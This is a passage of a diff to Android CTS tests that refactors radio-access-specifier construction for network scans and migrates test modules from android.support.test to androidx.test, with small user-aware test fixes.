-            int[] lteChannels = {((CellInfoLte) cellInfo).getCellIdentity().getEarfcn()};
-            ras = new RadioAccessSpecifier(ranLte, null /* bands */, lteChannels);
-        } else if (cellInfo instanceof CellInfoWcdma) {
-            int ranLte = AccessNetworkConstants.AccessNetworkType.UTRAN;
-            int[] wcdmaChannels = {((CellInfoWcdma) cellInfo).getCellIdentity().getUarfcn()};
-            ras = new RadioAccessSpecifier(ranLte, null /* bands */, wcdmaChannels);
-        } else if (cellInfo instanceof CellInfoGsm) {
-            int ranGsm = AccessNetworkConstants.AccessNetworkType.GERAN;
-            int[] gsmChannels = {((CellInfoGsm) cellInfo).getCellIdentity().getArfcn()};
-            ras = new RadioAccessSpecifier(ranGsm, null /* bands */, gsmChannels);
-        } else {
-            ras = null;
+    private List<RadioAccessSpecifier> getRadioAccessSpecifier(List<CellInfo> allCellInfo) {
+        List<RadioAccessSpecifier> radioAccessSpecifier = new ArrayList<>();
+        List<Integer> lteChannels = new ArrayList<>();
+        List<Integer> wcdmaChannels = new ArrayList<>();
+        List<Integer> gsmChannels = new ArrayList<>();
+        for (int i = 0; i < allCellInfo.size(); i++) {
+            CellInfo cellInfo = allCellInfo.get(i);
+            if (cellInfo instanceof CellInfoLte) {
+                lteChannels.add(((CellInfoLte) cellInfo).getCellIdentity().getEarfcn());
+            } else if (cellInfo instanceof CellInfoWcdma) {
+                wcdmaChannels.add(((CellInfoWcdma) cellInfo).getCellIdentity().getUarfcn());
+            } else if (cellInfo instanceof CellInfoGsm) {
+                gsmChannels.add(((CellInfoGsm) cellInfo).getCellIdentity().getArfcn());
+            }
         }
-        return ras;
+        if (!lteChannels.isEmpty()) {
+            Log.d(TAG, "lte channels" + lteChannels.toString());
+            int ranLte = AccessNetworkConstants.AccessNetworkType.EUTRAN;
+            radioAccessSpecifier.add(
+                    new RadioAccessSpecifier(ranLte, null /* bands */,
+                            lteChannels.stream().mapToInt(i->i).toArray()));
+        }
+        if (!wcdmaChannels.isEmpty()) {
+            Log.d(TAG, "wcdma channels" + wcdmaChannels.toString());
+            int ranWcdma = AccessNetworkConstants.AccessNetworkType.UTRAN;
+            radioAccessSpecifier.add(
+                    new RadioAccessSpecifier(ranWcdma, null /* bands */,
+                            wcdmaChannels.stream().mapToInt(i->i).toArray()));
+        }
+        if (!gsmChannels.isEmpty()) {
+            Log.d(TAG, "gsm channels" + gsmChannels.toString());
+            int ranGsm = AccessNetworkConstants.AccessNetworkType.GERAN;
+            radioAccessSpecifier.add(
+                    new RadioAccessSpecifier(ranGsm, null /* bands */,
+                            gsmChannels.stream().mapToInt(i->i).toArray()));
+        }
+        return radioAccessSpecifier;
     }
 
     /**
@@ -228,14 +246,9 @@
         }
 
         // Construct a NetworkScanRequest
-        List<RadioAccessSpecifier> radioAccessSpecifier = new ArrayList<>();
-        for (int i = 0; i < allCellInfo.size(); i++) {
-            RadioAccessSpecifier ras = getRadioAccessSpecifier(allCellInfo.get(i));
-            if (ras != null) {
-                radioAccessSpecifier.add(ras);
-            }
-        }
-        if (radioAccessSpecifier.size() == 0) {
+        List<RadioAccessSpecifier> radioAccessSpecifier = getRadioAccessSpecifier(allCellInfo);
+        Log.d(TAG, "number of radioAccessSpecifier: " + radioAccessSpecifier.size());
+        if (radioAccessSpecifier.isEmpty()) {
             RadioAccessSpecifier gsm = new RadioAccessSpecifier(
                     AccessNetworkConstants.AccessNetworkType.GERAN,
                     null /* bands */,
@@ -301,7 +314,7 @@
      * To test its constructor and getters.
      */
     @Test
-    public void testNetworkScanRequest_ConstructorAndGetters(){
+    public void testNetworkScanRequest_ConstructorAndGetters() {
         NetworkScanRequest networkScanRequest = new NetworkScanRequest(
                 SCAN_TYPE,
                 RADIO_ACCESS_SPECIFIERS,
diff --git a/tests/tests/colormode/Android.mk b/tests/tests/colormode/Android.mk
index ad1a9c5..1bce247 100644
--- a/tests/tests/colormode/Android.mk
+++ b/tests/tests/colormode/Android.mk
@@ -24,7 +24,7 @@
 
 LOCAL_PROGUARD_ENABLED := disabled
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/colormode/AndroidManifest.xml b/tests/tests/colormode/AndroidManifest.xml
index 4c65c59..48971af 100644
--- a/tests/tests/colormode/AndroidManifest.xml
+++ b/tests/tests/colormode/AndroidManifest.xml
@@ -28,7 +28,7 @@
         <activity android:name="android.colormode.AttributeWideColorModeActivity" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
             android:targetPackage="android.colormode.cts"
             android:label="Tests for the Color Mode APIs." >
         <meta-data android:name="listener"
diff --git a/tests/tests/colormode/src/android/colormode/cts/AttributeWideColorModeTest.java b/tests/tests/colormode/src/android/colormode/cts/AttributeWideColorModeTest.java
index a129b79..e3a5e7e 100644
--- a/tests/tests/colormode/src/android/colormode/cts/AttributeWideColorModeTest.java
+++ b/tests/tests/colormode/src/android/colormode/cts/AttributeWideColorModeTest.java
@@ -16,21 +16,23 @@
 
 package android.colormode.cts;
 
+import static org.junit.Assert.assertEquals;
+
 import android.app.Activity;
 import android.colormode.AttributeWideColorModeActivity;
 import android.content.pm.ActivityInfo;
 import android.content.pm.PackageManager;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.Window;
+
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import static org.junit.Assert.assertEquals;
-
 @MediumTest
 @RunWith(AndroidJUnit4.class)
 public class AttributeWideColorModeTest {
diff --git a/tests/tests/colormode/src/android/colormode/cts/DefaultColorModeTest.java b/tests/tests/colormode/src/android/colormode/cts/DefaultColorModeTest.java
index 4d076f8..71f8d11 100644
--- a/tests/tests/colormode/src/android/colormode/cts/DefaultColorModeTest.java
+++ b/tests/tests/colormode/src/android/colormode/cts/DefaultColorModeTest.java
@@ -16,22 +16,24 @@
 
 package android.colormode.cts;
 
-import android.colormode.DefaultColorModeActivity;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+
 import android.app.Activity;
+import android.colormode.DefaultColorModeActivity;
 import android.content.pm.ActivityInfo;
 import android.content.pm.PackageManager;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.Window;
+
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-
 @MediumTest
 @RunWith(AndroidJUnit4.class)
 public class DefaultColorModeTest {
diff --git a/tests/tests/colormode/src/android/colormode/cts/WideColorModeTest.java b/tests/tests/colormode/src/android/colormode/cts/WideColorModeTest.java
index 64f37c6..f7c8c91 100644
--- a/tests/tests/colormode/src/android/colormode/cts/WideColorModeTest.java
+++ b/tests/tests/colormode/src/android/colormode/cts/WideColorModeTest.java
@@ -16,21 +16,23 @@
 
 package android.colormode.cts;
 
+import static org.junit.Assert.assertEquals;
+
 import android.app.Activity;
 import android.colormode.WideColorModeActivity;
 import android.content.pm.ActivityInfo;
 import android.content.pm.PackageManager;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.Window;
+
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import static org.junit.Assert.assertEquals;
-
 @MediumTest
 @RunWith(AndroidJUnit4.class)
 public class WideColorModeTest {
diff --git a/tests/tests/contactsproviderwipe/Android.mk b/tests/tests/contactsproviderwipe/Android.mk
index 1c62e70..e046fad 100644
--- a/tests/tests/contactsproviderwipe/Android.mk
+++ b/tests/tests/contactsproviderwipe/Android.mk
@@ -21,11 +21,11 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
+    androidx.test.rules \
     androidx.legacy_legacy-support-v4 \
     mockito-target-minus-junit4 \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
diff --git a/tests/tests/contactsproviderwipe/AndroidManifest.xml b/tests/tests/contactsproviderwipe/AndroidManifest.xml
index 9ac9ad0..deab721 100644
--- a/tests/tests/contactsproviderwipe/AndroidManifest.xml
+++ b/tests/tests/contactsproviderwipe/AndroidManifest.xml
@@ -25,7 +25,7 @@
         <uses-library android:name="android.test.runner"/>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.provider.cts.contactsproviderwipe">
         <meta-data android:name="listener"
             android:value="com.android.cts.runner.CtsTestRunListener" />
diff --git a/tests/tests/contactsproviderwipe/src/android/provider/cts/contactsproviderwipe/ContactsContract_Wipe.java b/tests/tests/contactsproviderwipe/src/android/provider/cts/contactsproviderwipe/ContactsContract_Wipe.java
index 713e547..294735c 100644
--- a/tests/tests/contactsproviderwipe/src/android/provider/cts/contactsproviderwipe/ContactsContract_Wipe.java
+++ b/tests/tests/contactsproviderwipe/src/android/provider/cts/contactsproviderwipe/ContactsContract_Wipe.java
@@ -32,11 +32,12 @@
 import android.provider.ContactsContract;
 import android.provider.ContactsContract.Intents;
 import android.provider.ContactsContract.ProviderStatus;
-import android.support.test.InstrumentationRegistry;
 import android.test.AndroidTestCase;
 import android.text.TextUtils;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+
 import java.io.BufferedReader;
 import java.io.FileReader;
 import java.io.IOException;
@@ -133,7 +134,7 @@
 
         final String result = concatResult(readAll(
                 InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
-                        "pm clear " + providerPackage)));
+                        "pm clear --user current " + providerPackage)));
         Log.i(TAG, "Result:" + result);
 
         assertEquals("Success", result);
diff --git a/tests/tests/content/Android.mk b/tests/tests/content/Android.mk
index 616f898..4b7415d 100644
--- a/tests/tests/content/Android.mk
+++ b/tests/tests/content/Android.mk
@@ -30,8 +30,8 @@
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs android.test.mock
 
 LOCAL_STATIC_JAVA_LIBRARIES :=  \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     services.core \
     junit \
     truth-prebuilt \
@@ -40,7 +40,7 @@
 LOCAL_STATIC_ANDROID_LIBRARIES := androidx.legacy_legacy-support-v4
 
 # Use multi-dex as the compatibility-common-util-devicesidelib dependency
-# on compatibility-device-util pushes us beyond 64k methods.
+# on compatibility-device-util-axt pushes us beyond 64k methods.
 LOCAL_JACK_FLAGS := --multi-dex native
 LOCAL_DX_FLAGS := --multi-dex
 
diff --git a/tests/tests/content/AndroidManifest.xml b/tests/tests/content/AndroidManifest.xml
index 20baa2d..3f23915 100644
--- a/tests/tests/content/AndroidManifest.xml
+++ b/tests/tests/content/AndroidManifest.xml
@@ -310,7 +310,7 @@
 
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.content.cts"
                      android:label="CTS tests of android.content">
         <meta-data android:name="listener"
diff --git a/tests/tests/content/AndroidTest.xml b/tests/tests/content/AndroidTest.xml
index 58305dd..a15196f 100644
--- a/tests/tests/content/AndroidTest.xml
+++ b/tests/tests/content/AndroidTest.xml
@@ -35,6 +35,7 @@
     </target_preparer>
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
         <option name="package" value="android.content.cts" />
         <option name="runtime-hint" value="21m30s" />
         <option name="hidden-api-checks" value="false" />
diff --git a/tests/tests/content/CtsSyncAccountAccessOtherCertTests/Android.mk b/tests/tests/content/CtsSyncAccountAccessOtherCertTests/Android.mk
index 01df0b5..959fab5 100644
--- a/tests/tests/content/CtsSyncAccountAccessOtherCertTests/Android.mk
+++ b/tests/tests/content/CtsSyncAccountAccessOtherCertTests/Android.mk
@@ -21,8 +21,8 @@
 LOCAL_MODULE_TAGS := tests
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
-    ctstestrunner \
+    androidx.test.rules \
+    ctstestrunner-axt \
     accountaccesslib
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/content/CtsSyncAccountAccessOtherCertTests/AndroidManifest.xml b/tests/tests/content/CtsSyncAccountAccessOtherCertTests/AndroidManifest.xml
index e1fd828..67d20f9 100644
--- a/tests/tests/content/CtsSyncAccountAccessOtherCertTests/AndroidManifest.xml
+++ b/tests/tests/content/CtsSyncAccountAccessOtherCertTests/AndroidManifest.xml
@@ -35,7 +35,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.content" />
 
 </manifest>
diff --git a/tests/tests/content/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java b/tests/tests/content/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
index 58d8c4e..de52e73 100644
--- a/tests/tests/content/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
+++ b/tests/tests/content/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
@@ -38,17 +38,17 @@
 import android.content.AbstractThreadedSyncAdapter;
 import android.content.ContentResolver;
 import android.content.Context;
-import android.content.res.Configuration;
 import android.content.SyncRequest;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+import android.content.res.Configuration;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject2;
 import android.support.test.uiautomator.Until;
 import android.util.Log;
-import android.view.KeyEvent;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.After;
 import org.junit.Before;
diff --git a/tests/tests/content/lib/accountaccess/Android.mk b/tests/tests/content/lib/accountaccess/Android.mk
index 2832452..134eb40 100644
--- a/tests/tests/content/lib/accountaccess/Android.mk
+++ b/tests/tests/content/lib/accountaccess/Android.mk
@@ -24,6 +24,6 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := mockito-target \
                                ub-uiautomator \
-                               compatibility-device-util
+                               compatibility-device-util-axt
 
 include $(BUILD_STATIC_JAVA_LIBRARY)
\ No newline at end of file
diff --git a/tests/tests/content/lib/accountaccess/src/com.android.cts.content/Utils.java b/tests/tests/content/lib/accountaccess/src/com.android.cts.content/Utils.java
index e6b7430..6a85833 100644
--- a/tests/tests/content/lib/accountaccess/src/com.android.cts.content/Utils.java
+++ b/tests/tests/content/lib/accountaccess/src/com.android.cts.content/Utils.java
@@ -15,11 +15,12 @@
 import android.os.Bundle;
 import android.os.Process;
 import android.os.SystemClock;
-import androidx.annotation.NonNull;
-import android.support.test.InstrumentationRegistry;
 import android.support.test.uiautomator.UiDevice;
 import android.util.Log;
 
+import androidx.annotation.NonNull;
+import androidx.test.InstrumentationRegistry;
+
 import com.android.compatibility.common.util.SystemUtil;
 
 import java.io.IOException;
diff --git a/tests/tests/content/src/android/content/cts/AccountAccessSameCertTest.java b/tests/tests/content/src/android/content/cts/AccountAccessSameCertTest.java
index 95af4ca..00ca747 100644
--- a/tests/tests/content/src/android/content/cts/AccountAccessSameCertTest.java
+++ b/tests/tests/content/src/android/content/cts/AccountAccessSameCertTest.java
@@ -30,8 +30,9 @@
 import static org.mockito.Mockito.verify;
 
 import android.content.AbstractThreadedSyncAdapter;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
 
 import com.android.cts.content.AlwaysSyncableSyncService;
 import com.android.cts.content.FlakyTestRule;
diff --git a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
index 4723524..7ded622 100644
--- a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
+++ b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
@@ -365,4 +365,20 @@
             assertCanBeHandled(new Intent("android.settings.LOCATION_SCANNING_SETTINGS"));
         }
     }
+
+    public void testPowerUsageSummarySettings() {
+        if (isHandheld()) {
+            assertCanBeHandled(new Intent(Intent.ACTION_POWER_USAGE_SUMMARY));
+        }
+    }
+
+    private boolean isHandheld() {
+        // handheld nature is not exposed to package manager, for now
+        // we check for touchscreen and NOT watch, NOT tv and NOT car
+        PackageManager pm = getContext().getPackageManager();
+        return pm.hasSystemFeature(pm.FEATURE_TOUCHSCREEN)
+                && !pm.hasSystemFeature(pm.FEATURE_WATCH)
+                && !pm.hasSystemFeature(pm.FEATURE_TELEVISION)
+                && !pm.hasSystemFeature(pm.FEATURE_AUTOMOTIVE);
+    }
 }
diff --git a/tests/tests/content/src/android/content/cts/ClipDescriptionTest.java b/tests/tests/content/src/android/content/cts/ClipDescriptionTest.java
index bd9756e..35831bb 100644
--- a/tests/tests/content/src/android/content/cts/ClipDescriptionTest.java
+++ b/tests/tests/content/src/android/content/cts/ClipDescriptionTest.java
@@ -21,10 +21,11 @@
 import android.content.ClipData;
 import android.content.ClipboardManager;
 import android.content.Context;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/content/src/android/content/cts/ClipboardManagerTest.java b/tests/tests/content/src/android/content/cts/ClipboardManagerTest.java
index c5a7d7d..31d63ee 100644
--- a/tests/tests/content/src/android/content/cts/ClipboardManagerTest.java
+++ b/tests/tests/content/src/android/content/cts/ClipboardManagerTest.java
@@ -31,8 +31,9 @@
 import android.content.Context;
 import android.content.Intent;
 import android.net.Uri;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/tests/content/src/android/content/cts/ContextWrapperTest.java b/tests/tests/content/src/android/content/cts/ContextWrapperTest.java
index 408855d..a01e9e0 100644
--- a/tests/tests/content/src/android/content/cts/ContextWrapperTest.java
+++ b/tests/tests/content/src/android/content/cts/ContextWrapperTest.java
@@ -340,7 +340,6 @@
 
         // Test databaseList()
         List<String> list = Arrays.asList(mContextWrapper.databaseList());
-        assertEquals(2, list.size());
         assertTrue("1) database list: " + list, list.contains(DATABASE_NAME1));
         assertTrue("2) database list: " + list, list.contains(DATABASE_NAME2));
 
diff --git a/tests/tests/content/src/android/content/cts/DeferSyncTest.java b/tests/tests/content/src/android/content/cts/DeferSyncTest.java
index 457da10..29a6ecf 100644
--- a/tests/tests/content/src/android/content/cts/DeferSyncTest.java
+++ b/tests/tests/content/src/android/content/cts/DeferSyncTest.java
@@ -39,8 +39,9 @@
 import android.content.AbstractThreadedSyncAdapter;
 import android.content.ContentResolver;
 import android.os.Bundle;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
 
 import com.android.cts.content.AlwaysSyncableSyncService;
 import com.android.cts.content.FlakyTestRule;
diff --git a/tests/tests/content/src/android/content/pm/cts/ApplicationInfoTest.java b/tests/tests/content/src/android/content/pm/cts/ApplicationInfoTest.java
index a21039e..cfa2189 100644
--- a/tests/tests/content/src/android/content/pm/cts/ApplicationInfoTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/ApplicationInfoTest.java
@@ -21,12 +21,9 @@
 import static android.content.pm.ApplicationInfo.CATEGORY_UNDEFINED;
 import static android.content.pm.ApplicationInfo.FLAG_MULTIARCH;
 import static android.content.pm.ApplicationInfo.FLAG_SUPPORTS_RTL;
-import static android.os.Process.FIRST_APPLICATION_UID;
-import static android.os.Process.LAST_APPLICATION_UID;
 
 import static org.junit.Assert.assertArrayEquals;
 import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
@@ -36,10 +33,13 @@
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageManager.NameNotFoundException;
 import android.os.Parcel;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+import android.os.Process;
+import android.os.UserHandle;
 import android.util.StringBuilderPrinter;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -153,14 +153,14 @@
         // The application "com.android.cts.stub" does not have any attributes set
         mApplicationInfo = getContext().getPackageManager().getApplicationInfo(
                 SYNC_ACCOUNT_ACCESS_STUB_PACKAGE_NAME, 0);
+        int currentUserId = Process.myUserHandle().getIdentifier();
 
         assertNull(mApplicationInfo.className);
         assertNull(mApplicationInfo.permission);
         assertEquals(SYNC_ACCOUNT_ACCESS_STUB_PACKAGE_NAME, mApplicationInfo.packageName);
         assertEquals(SYNC_ACCOUNT_ACCESS_STUB_PACKAGE_NAME, mApplicationInfo.processName);
         assertEquals(SYNC_ACCOUNT_ACCESS_STUB_PACKAGE_NAME, mApplicationInfo.taskAffinity);
-        assertTrue(FIRST_APPLICATION_UID <= mApplicationInfo.uid
-                && LAST_APPLICATION_UID >= mApplicationInfo.uid);
+        assertTrue(UserHandle.isApp(mApplicationInfo.uid));
         assertEquals(0, mApplicationInfo.theme);
         assertEquals(0, mApplicationInfo.requiresSmallestWidthDp);
         assertEquals(0, mApplicationInfo.compatibleWidthLimitDp);
@@ -169,11 +169,11 @@
         assertEquals(mApplicationInfo.sourceDir, mApplicationInfo.publicSourceDir);
         assertNull(mApplicationInfo.splitSourceDirs);
         assertArrayEquals(mApplicationInfo.splitSourceDirs, mApplicationInfo.splitPublicSourceDirs);
-        assertEquals("/data/user/0/" + SYNC_ACCOUNT_ACCESS_STUB_PACKAGE_NAME,
+        assertEquals("/data/user/" + currentUserId + "/" + SYNC_ACCOUNT_ACCESS_STUB_PACKAGE_NAME,
                 mApplicationInfo.dataDir);
-        assertEquals("/data/user_de/0/" + SYNC_ACCOUNT_ACCESS_STUB_PACKAGE_NAME,
+        assertEquals("/data/user_de/" + currentUserId + "/" + SYNC_ACCOUNT_ACCESS_STUB_PACKAGE_NAME,
                 mApplicationInfo.deviceProtectedDataDir);
-        assertEquals("/data/user/0/" + SYNC_ACCOUNT_ACCESS_STUB_PACKAGE_NAME,
+        assertEquals("/data/user/" + currentUserId + "/" + SYNC_ACCOUNT_ACCESS_STUB_PACKAGE_NAME,
                 mApplicationInfo.credentialProtectedDataDir);
         assertNull(mApplicationInfo.sharedLibraryFiles);
         assertTrue(mApplicationInfo.enabled);
diff --git a/tests/tests/content/src/android/content/pm/cts/InstallSessionParamsUnitTest.java b/tests/tests/content/src/android/content/pm/cts/InstallSessionParamsUnitTest.java
index e9c61ea..92721ef 100644
--- a/tests/tests/content/src/android/content/pm/cts/InstallSessionParamsUnitTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/InstallSessionParamsUnitTest.java
@@ -38,9 +38,10 @@
 import android.content.pm.PackageInstaller.SessionParams;
 import android.graphics.Bitmap;
 import android.net.Uri;
-import android.support.test.InstrumentationRegistry;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized;
diff --git a/tests/tests/content/src/android/content/pm/cts/InstallSessionTransferTest.java b/tests/tests/content/src/android/content/pm/cts/InstallSessionTransferTest.java
index dd45668..b93f858 100644
--- a/tests/tests/content/src/android/content/pm/cts/InstallSessionTransferTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/InstallSessionTransferTest.java
@@ -33,8 +33,9 @@
 import android.content.pm.PackageManager;
 import android.content.pm.ResolveInfo;
 import android.net.Uri;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import libcore.io.Streams;
 
diff --git a/tests/tests/content/src/android/content/res/cts/AssetManagerTest.java b/tests/tests/content/src/android/content/res/cts/AssetManagerTest.java
index a1845d7..6998103 100644
--- a/tests/tests/content/src/android/content/res/cts/AssetManagerTest.java
+++ b/tests/tests/content/src/android/content/res/cts/AssetManagerTest.java
@@ -21,6 +21,16 @@
 
 import android.content.Context;
 import android.content.cts.R;
+import android.content.cts.util.XmlUtils;
+import android.content.res.AssetFileDescriptor;
+import android.content.res.AssetManager;
+import android.content.res.Resources;
+import android.content.res.XmlResourceParser;
+import android.util.TypedValue;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Test;
@@ -28,18 +38,7 @@
 import org.xmlpull.v1.XmlPullParser;
 import org.xmlpull.v1.XmlPullParserException;
 
-import android.content.cts.util.XmlUtils;
-import android.content.res.AssetFileDescriptor;
-import android.content.res.AssetManager;
-import android.content.res.Resources;
-import android.content.res.XmlResourceParser;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
-import android.util.TypedValue;
-
 import java.io.BufferedReader;
-import java.io.FileNotFoundException;
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.InputStreamReader;
diff --git a/tests/tests/content/src/android/content/res/cts/AssetManager_AssetInputStreamTest.java b/tests/tests/content/src/android/content/res/cts/AssetManager_AssetInputStreamTest.java
index 32db789..a94551c 100644
--- a/tests/tests/content/src/android/content/res/cts/AssetManager_AssetInputStreamTest.java
+++ b/tests/tests/content/src/android/content/res/cts/AssetManager_AssetInputStreamTest.java
@@ -19,18 +19,19 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
-import java.io.IOException;
-import java.io.InputStream;
-import java.nio.charset.StandardCharsets;
-
 import android.content.res.AssetManager;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
 
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 
+import java.io.IOException;
+import java.io.InputStream;
+import java.nio.charset.StandardCharsets;
+
 @SmallTest
 public class AssetManager_AssetInputStreamTest {
     private static final byte[] EXPECTED_BYTES = "OneTwoThreeFourFiveSixSevenEightNineTen".getBytes(
diff --git a/tests/tests/database/Android.mk b/tests/tests/database/Android.mk
index 51d18a5..8b38c08 100644
--- a/tests/tests/database/Android.mk
+++ b/tests/tests/database/Android.mk
@@ -23,8 +23,8 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     android-common \
-    ctstestrunner \
-    ctstestrunner \
+    ctstestrunner-axt \
+    ctstestrunner-axt \
     ub-uiautomator \
     junit
 
diff --git a/tests/tests/database/AndroidManifest.xml b/tests/tests/database/AndroidManifest.xml
index 145ed7b..49e2f3ee 100644
--- a/tests/tests/database/AndroidManifest.xml
+++ b/tests/tests/database/AndroidManifest.xml
@@ -24,7 +24,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.database.cts"
                      android:label="CTS tests of android.database">
         <meta-data android:name="listener"
diff --git a/tests/tests/database/src/android/database/cts/CursorWindowTest.java b/tests/tests/database/src/android/database/cts/CursorWindowTest.java
index 2d7473e..671a061 100644
--- a/tests/tests/database/src/android/database/cts/CursorWindowTest.java
+++ b/tests/tests/database/src/android/database/cts/CursorWindowTest.java
@@ -16,22 +16,6 @@
 
 package android.database.cts;
 
-import android.database.CharArrayBuffer;
-import android.database.CursorWindow;
-import android.database.MatrixCursor;
-import android.database.sqlite.SQLiteException;
-import android.os.Parcel;
-import android.support.test.runner.AndroidJUnit4;
-import android.test.suitebuilder.annotation.SmallTest;
-
-import org.junit.Assert;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Random;
-
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
